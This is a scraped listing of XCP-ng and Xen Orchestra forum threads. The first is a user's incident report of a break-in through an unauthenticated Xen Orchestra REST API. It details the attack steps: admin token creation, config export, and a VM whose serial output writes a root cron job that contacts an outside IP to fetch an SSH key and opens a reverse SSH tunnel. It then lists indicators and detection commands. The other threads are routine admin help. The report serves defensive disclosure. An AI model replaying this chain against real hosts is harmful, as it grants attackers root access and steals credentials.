• 4 Votes
    2 Posts
    228 Views
    V
    Hi, I got hit through this one last night. Small home lab pool, XO from sources (xo-server 5.213.0). It was reachable from the internet behind a reverse proxy because a friend has a VM on my server and wanted to start and stop it himself. Yes, that was dumb. It's VPN only from now on, the way it should have been. None of the names, files or IPs from the advisory matched. A check for pivot2 / ustar alone would have shown me clean. Here is what I found instead. What they did, all within about 50 minutes GET /rest/v0/vms?limit=1 answered 200 without any login, followed by /rest/v0/users/me (307) and the user list. Later rounds showed a 401 and then a 200 in the same second, but the first one was a plain 200. My proxy doesn't log cookies. What I grep for is any 2xx on /rest/v0 from an IP that isn't mine. POST /rest/v0/users/<admin id>/authentication_tokens, two tokens with the description system-maintenance and 24 h expiry. xo.exportConfig over the websocket, twice with entries ["xenServers"] and later the full config, no passphrase. In the proxy log this is GET /api/<random>/XO-config_<timestamp>.json. VM import via POST /rest/v0/pools/<id>/vms?sr=<local SR>. VM name svc-<6 digits>, 256 MiB, one 2 MiB disk, no VIF, platform hvm_serial = file:/etc/cron.d/svc-<same digits>. Started right away and was halted again a few seconds later. The disk has one non-zero sector, a boot sector that prints the cron line to the serial port and halts. That cron file ran once as root on the host: curl http://13.140.168.109:8931/port?h=<hostname> curl http://13.140.168.109:8931/tk (an ssh key) append an ed25519 key with the comment nx-campaign to /root/.ssh/authorized_keys ssh -f -N -R <port>:localhost:22 hermes1@13.140.168.109 delete the cron file Both curls timed out for me and no tunnel came up, but the key was in authorized_keys. They only failed because my firewall lets the hosts out on 80/443 only. With open egress the tunnel would have worked. The job left /root/dead.letter with its errors on the host. IOCs 185.213.154.220 REST calls and config export (Chrome 131 UA, python-requests/2.3 13.140.168.109 VM import and start via REST (python-requests/2.32.5), port 8931, ssh user hermes1 VM name svc-<digits> and /etc/cron.d/svc-<digits> authorized_keys comment nx-campaign XO token description system-maintenance /root/dead.letter on the host Quick checks on the hosts grep nx-campaign /root/.ssh/authorized_keys ls -la /root/dead.letter /etc/cron.d/ zgrep svc- /var/log/cron* zgrep -- '-serial file:' /var/log/xensource.log* The last one is from the advisory and did match. On the XO machine the journal does show a bit after all: journalctl -u xo-server | grep 'unauthenticated API call' journalctl -u xo-server | grep 'use session.signIn() instead' journalctl -u xo-server | grep 'putResource /import/' The first also shows up for my own expired sessions, compare the times. The other me of the attack, nothing else in five months of journal. audit.log shows no export or snapshot from the attacker on the xapi side, only my nightly backup. But the config export has the host root passwords and plugin secrets in clear text, so I rotate everything. Phew, that was quite a shock. I only read about the Vates advisory by chance in my news reader this morning. I sent my AI off to check if my setup was affected, and it found out that I had already been compromised.
  • XCP-ng 8.3 updates announcements and testing

    Pinned News
    794
    1 Votes
    794 Posts
    1m Views
    A
    @gduperrey Updates installed. RPU mostly worked... Every host was updated. All VMs moved and returned. Waiting before re-enabling the load balancer task is stuck waiting...
  • 0 Votes
    20 Posts
    2k Views
    nathanael-hN
    @jr-m4 I did not took time to test Podman yet. But we expect this to work. You'd have to expose a socket, like the docker daemon does. Probably systemctl enable --now podman.socket would be enough. More in this page https://docs.redhat.com/en/documentation/red_hat_enterprise_linux/8/html/building_running_and_managing_containers/using-the-container-tools-api and this one https://docs.podman.io/en/latest/markdown/podman-system-service.1.html
  • Booting Homeassistant (HAOS) Image breaks VM

    Unsolved Compute
    3
    0 Votes
    3 Posts
    242 Views
    C
    Hey Poddingue! I very much assume to have found the troublemaker. I compared the outputs of xe vm-param-list and what triggered my eyes the most was: Debian: PV-drivers-version (MRO): HA: PV-drivers-version (MRO): major: @PRODUCT_MAJOR_VERSION@; minor: @PRODUCT_MINOR_VERSION@; micro: @PRODUCT_MICRO_VERSION@; build: @NUMERIC_BUILD_NUMBER@ Ofc what's reported after a HomeAssistant boot is completely nuts and should be "nothing"/empty. As the errorlog of Commvault says something about XenSDKWrapper, I'm unsure if the errorhandling of the SDK or Commault sucks (should I be happy that it was caught at all and didn't crash the whole application? ). The German translation, to me, indicateds Commvault at faul though. Neither XCP-ng nor the XenSDK will be able to speak english, nor is it likely that they translate a "try-catch"-errormessage, I assume. BUT: XCP-ng should never report back such nonsense and by that probably hit Commvault unexpected. So I also suggest to catch nonsense/unclear responses before XAPI (which is what xe triggers?) output/response.
  • 0 Votes
    5 Posts
    436 Views
    I
    @gudge25 check these https://docs.xcp-ng.org/vms/#enabling-viridian-extensions and https://lazyadmin.nl/it/september-2026-update-break-rds-how-to-fix/
  • 7 Votes
    315 Posts
    212k Views
    julienXOvatesJ
    right, we are moving all Backup pages in Administration tab (https://xen-orchestra.com/blog/xen-orchestra-6-10/), but we probably forgot to say we removed this "Backups" tab from the Site view...! Create/restore backup is in progress...!
  • XOSTOR hyperconvergence preview

    Pinned Moved XOSTOR
    471
    1
    6 Votes
    471 Posts
    1m Views
    Maelstrom96M
    @dthenot For anyone stuck, here is what I ended up doing: I've manually hardcoded the controller_uri in /opt/xensource/sm/linstorvolumemanager.py on the new host, restarted the toolstack using xe-toolstack-restart and ran the xe host-call-plugin host-uuid=NEW_HOST_UUID plugin=linstor-manager fn=addHost args:groupName=linstor_group/thin_device command. def _get_controller_uri() -> str: # TODO: Check that an IP address from the current pool is returned. #addresses = _get_controller_addresses() return "linstor://10.25.254.100" #return "linstor://" + addresses[0] if addresses else "" After that, you should see the addHost command return True. It should be safe to revert the change to the _get_controller_uri() function and restart to make sure everything starts properly. [10:06 van3-pprod-xen01 ~]# linstor --controllers 10.25.254.100 node l ╭───────────────────────────────────────────────────────────────────╮ ā”Š Node ā”Š NodeType ā”Š Addresses ā”Š State ā”Š ā•žā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•” ā”Š van3-pprod-xen01 ā”Š COMBINED ā”Š 10.25.254.100:3366 (PLAIN) ā”Š Online ā”Š ā”Š van3-pprod-xen02 ā”Š COMBINED ā”Š 10.25.254.101:3366 (PLAIN) ā”Š Online ā”Š ā”Š van3-pprod-xen03 ā”Š COMBINED ā”Š 10.25.254.102:3366 (PLAIN) ā”Š Online ā”Š ā”Š van3-pprod-xen04 ā”Š COMBINED ā”Š 10.25.254.103:3366 (PLAIN) ā”Š Online ā”Š ╰───────────────────────────────────────────────────────────────────╯ [10:06 van3-pprod-xen01 ~]# xe host-call-plugin host-uuid=f9d94f6c-e826-452f-b9b9-638550b209cf plugin=linstor-manager fn=addHost args:groupName=linstor_group/thin_device True [10:08 van3-pprod-xen01 ~]# linstor --controllers 10.25.254.100 node l ╭───────────────────────────────────────────────────────────────────╮ ā”Š Node ā”Š NodeType ā”Š Addresses ā”Š State ā”Š ā•žā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•ā•” ā”Š van3-pprod-xen01 ā”Š COMBINED ā”Š 10.25.254.100:3366 (PLAIN) ā”Š Online ā”Š ā”Š van3-pprod-xen02 ā”Š COMBINED ā”Š 10.25.254.101:3366 (PLAIN) ā”Š Online ā”Š ā”Š van3-pprod-xen03 ā”Š COMBINED ā”Š 10.25.254.102:3366 (PLAIN) ā”Š Online ā”Š ā”Š van3-pprod-xen04 ā”Š COMBINED ā”Š 10.25.254.103:3366 (PLAIN) ā”Š Online ā”Š ā”Š van3-pprod-xen05 ā”Š COMBINED ā”Š 10.25.254.104:3366 (PLAIN) ā”Š Online ā”Š ╰───────────────────────────────────────────────────────────────────╯
  • XO RBAC Granularity?

    Unsolved Management
    10
    0 Votes
    10 Posts
    163 Views
    julienXOvatesJ
    Thanks @ataxyanetwork I was about to answer the same...! (but was too busy this morning )
  • Auth LDAP Plugin "Could Not Authenticate User"

    Unsolved Management
    3
    1 Votes
    3 Posts
    80 Views
    C
    Hi @poddingue ..yes, I have quite a few 'requests' I need to post in there...I just have yet to do so Thanks!
  • Rolling pool update

    Xen Orchestra
    10
    0 Votes
    10 Posts
    299 Views
    C
    @Octopuss Indeed! Looking to implement this in my org, so am testing out all kinds of things. Cheers!
  • 1 Votes
    2 Posts
    59 Views
    poddingueP
    For the partitioning part, the docs say NVIDIA vGPU isn't supported on XCP-ng, since it depends on a proprietary XenServer component that can't be redistributed: https://docs.xcp-ng.org/compute#vgpu. So as far as I can tell, the "20, 40 or 80 GB per VM" split won't work through vGPU. Passing a whole GPU to one VM is the documented path, on the same page. I haven't seen anyone report on H100 or H200 cards here, though, so I can't tell you if that class of card brings its own surprises. There's also a blog post doing LLM inference that way on a much smaller Tesla T4: https://xcp-ng.org/blog/2025/07/28/your-own-gpu-powered-llms-with-xcp-ng/. There's an open design discussion upstream in XAPI about GPU partitioning, MIG included (https://github.com/xapi-project/xen-api/pull/7260), but that's the XenServer side, and I don't know if or when it would reach XCP-ng. As GPU partitioning matters for your project, it might be worth opening a request on https://feedback.vates.tech/ with what you described here (H200s, LLM inference, several tenants per card, fixed VRAM per VM). From what I've seen, a concrete use case like yours carries more weight there than a plain "please support vGPU", and other people needing the same thing can vote on it.
  • XCP-ng Windows PV tools announcements

    Moved News
    117
    0 Votes
    117 Posts
    63k Views
    D
    Hello all, Version 9.2.445 of the XCP-ng Windows Guest Tools has been released. Download the latest release here: https://github.com/xcp-ng/win-pv-drivers/releases This release brings important bug fixes to the Windows drivers and installer. Important note for users upgrading from 9.2.350: You must first install the XenTools-fix-9.2.351.msp hotfix to upgrade to 9.2.351 before installing 9.2.445. Otherwise, upgrades from 9.2.350 will be blocked. Reboot is not required after installing the hotfix. The installer downloads include a copy of XenClean and XenBootFix. It is not necessary to run XenClean when upgrading from previous versions of the XCP-ng Windows guest tools, unless prompted by the installer. Remember to carefully read XenClean docs before use. Note: Always download the latest XenClean/XenBootFix from https://github.com/xcp-ng/win-pv-drivers/releases . You can find them in the latest release ZIP/ISO archives. Before installing Thank you for using our Windows PV tools. Please carefully read the instructions below. It is not necessary to run XenClean when upgrading from previous versions of the XCP-ng Windows guest tools, unless prompted by the installer. Not compatible with the "Manage Citrix PV drivers via Windows Update" option. You must disable this option before installing. Changes since 9.2.385 NEW: Group Policy support (see the extras/admx directory in the source code tree). Supported policies include: Hide the tray icon Disable all features that allow controlling the VM from the host Improved: Better network performance. Improved: System reliability improvements on driver upgrade failure. On an upgrade failure, the installer will remove all Xen drivers to ensure that the system will keep operating, and to allow you to safely uninstall the existing driver package. Improved: Remove obsolete Windows Update devices and don't block installation because of them. Fixed: Fix further data corruption bugs during memory snapshots and backups. This driver version significantly narrows the corruption window. However, fully fixing all known corruption issues requires further work in other XCP-ng components. Please keep an eye on the XCP-ng blog for updates. Fixed: Fix loss of VBD connection after storage migration. Fixed: Improve reliability of the clipboard service. Fixed: Improve reliability of the VIF IP configuration feature. Fixed: Reliability fixes on VMs with many vCPUs (>64). Fixed: Many other driver reliability fixes. Help / Community support If you encounter installation/uninstallation errors, please try again with one of the following commands: For installing: msiexec.exe /i XenTools-x64.msi /l*vx install.log For uninstalling: msiexec.exe /x XenTools-x64.msi /l*vx uninstall.log Please include this log along with the file C:\Windows\INF\setupapi.dev.log in your bug report. These files will help us troubleshoot any installation issues. Additionally, please report any errors or BSOD you encounter during testing of this release. Your feedback is very appreciated.
  • Bug in XO-Lite GUI / VM Creation

    Unsolved XO Lite
    3
    1
    0 Votes
    3 Posts
    127 Views
    C
    @poddingue Yes, reads pretty much like the same error / root cause.
  • 0 Votes
    8 Posts
    259 Views
    F
    @poddingue Taking the time to do this it's the bare minium! Here you go: https://github.com/vatesfr/xen-orchestra/issues/10741
  • Missing vdi which is a base for a delta

    Unsolved Backup
    11
    0 Votes
    11 Posts
    663 Views
    poddingueP
    Thanks, that helps. Some VMs fail to the Synology but pass to S3, and some the other way round. So I think the backups on Ark are probably fine (they pass health checks, as you said at the start) and it has more to do with what each target already holds, but I could be wrong. I'd also flag the several delta jobs with different retentions all feeding Ark, I just don't know the mirror code well enough to say whether that matters. @Team-XO-Backend, posts 6 and 10 have the log and the pattern if someone gets to this one.
  • 0 Votes
    4 Posts
    238 Views
    poddingueP
    @mdm thanks for checking Reconnect. If I'm reading the code right, both actions have the same mistake, so one fix should cover both. You already wrote the steps out in your first post, so if you're up for it, an issue on https://github.com/vatesfr/xen-orchestra/issues would put it where the frontend team tracks their work. Their bug form asks for the XO version (or commit if you're on sources) plus your Node and XCP-ng versions, which I don't know for your setup.
  • 0 Votes
    7 Posts
    678 Views
    Bastien NolletB
    Hello @ludalm13, Thanks for your contribution and sorry for not giving an answer earlier. We initially planned to review your PR while doing some additional work on the audit plugin, but our planning evolved and that work was postponed. We'll review your PR in the following days.
  • Backup failures with odd connection refused errors

    Unsolved Backup
    8
    0 Votes
    8 Posts
    850 Views
    C
    Just as an update on this. Did get the migrations working. Still haven't gotten the backups working. Pool is still stable otherwise. Have managed to get backups by using Veeam so it's not to much of a problem.
  • Version 9 already ;0)

    Xen Orchestra
    2
    1
    0 Votes
    2 Posts
    167 Views
    poddingueP
    Thanks for the information, @ph7 . That's a typo, for sure.
  • Native Ceph RBD SM driver for XCP-ng

    Development
    42
    3 Votes
    42 Posts
    11k Views
    dicode-nlD
    @nick.lloyd that's something out of this plugin, that's ceph native. most clusters should run on msgr2 native. which ceph versions are you running?